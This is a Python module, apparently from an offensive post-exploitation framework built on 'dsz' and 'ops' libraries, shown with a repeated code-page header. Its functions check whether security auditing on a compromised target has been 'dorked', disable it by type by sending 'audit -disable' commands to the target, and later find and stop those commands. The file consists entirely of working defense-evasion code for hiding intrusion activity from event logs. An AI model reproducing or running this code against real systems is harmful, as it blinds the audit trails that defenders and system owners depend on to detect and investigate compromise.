64 lines
No EOL
2.6 KiB
Python
64 lines
No EOL
2.6 KiB
Python
|
|
import dsz
|
|
import dsz.cmd
|
|
import dsz.script
|
|
import ops
|
|
import ops.cmd
|
|
import ops.db
|
|
import ops.project
|
|
from datetime import timedelta, datetime
|
|
AUDIT_TAG = 'OPS_AUDITING_STATUS'
|
|
DORKING_TAG = 'OPS_AUDITING_DORKED'
|
|
MAX_CACHE_SIZE = 3
|
|
|
|
def get_status(maxage=timedelta(0), targetID=None):
|
|
status_cmd = ops.cmd.getDszCommand('audit -status')
|
|
return ops.project.generic_cache_get(status_cmd, cache_tag=AUDIT_TAG, cache_size=MAX_CACHE_SIZE, maxage=maxage, targetID=targetID)
|
|
|
|
def is_dorked(targetID=None):
|
|
if (targetID is None):
|
|
targetID = ops.project.getTargetID()
|
|
target_addrs = ops.project.getCPAddresses(targetID)
|
|
return (len(ops.cmd.get_filtered_command_list(cpaddrs=target_addrs, isrunning=True, goodwords=['audit', '-disable'])) > 0)
|
|
|
|
def dork_auditing(dork_types=[], targetID=None):
|
|
if (targetID is None):
|
|
targetID = ops.project.getTargetID()
|
|
if is_dorked(targetID):
|
|
return
|
|
results = []
|
|
for dork_type in dork_types:
|
|
dork_cmd = ops.cmd.getDszCommand(('audit -disable %s' % dork_type))
|
|
dork_cmd.dszdst = ops.project.selectBestCPAddress(targetID)
|
|
dork_result = dork_cmd.execute()
|
|
results.append(dork_result)
|
|
if dork_result.commandmetadata.isrunning:
|
|
return (results, ('%s auditing disabled' % dork_type))
|
|
return (results, 'All attempts to dork auditing failed')
|
|
|
|
def undork_auditing(targetID=None):
|
|
if (targetID is None):
|
|
targetID = ops.project.getTargetID()
|
|
if (not is_dorked(targetID)):
|
|
return
|
|
results = []
|
|
for cpaddr in ops.project.getCPAddresses(targetID):
|
|
channels_command = ops.cmd.getDszCommand('commands')
|
|
channels_command.dszdst = cpaddr
|
|
current = channels_command.execute()
|
|
for running_channel in current.command:
|
|
if ((running_channel.fullcommand.find('audit') > (-1)) and (running_channel.fullcommand.find('-disable') > (-1))):
|
|
stop_cmd = ops.cmd.getDszCommand(('stop %d' % running_channel.id))
|
|
stop_result = stop_cmd.execute()
|
|
if (stop_result.commandmetadata.status == 0):
|
|
results.append(stop_result)
|
|
else:
|
|
results.append(stop_result)
|
|
all_good = True
|
|
for result in results:
|
|
if (result.commandmetadata.status != 0):
|
|
all_good = False
|
|
if all_good:
|
|
return (results, 'Stopped all auditing commands')
|
|
else:
|
|
return (results, 'Could not stop all auditing commands. You should probably investigate.') |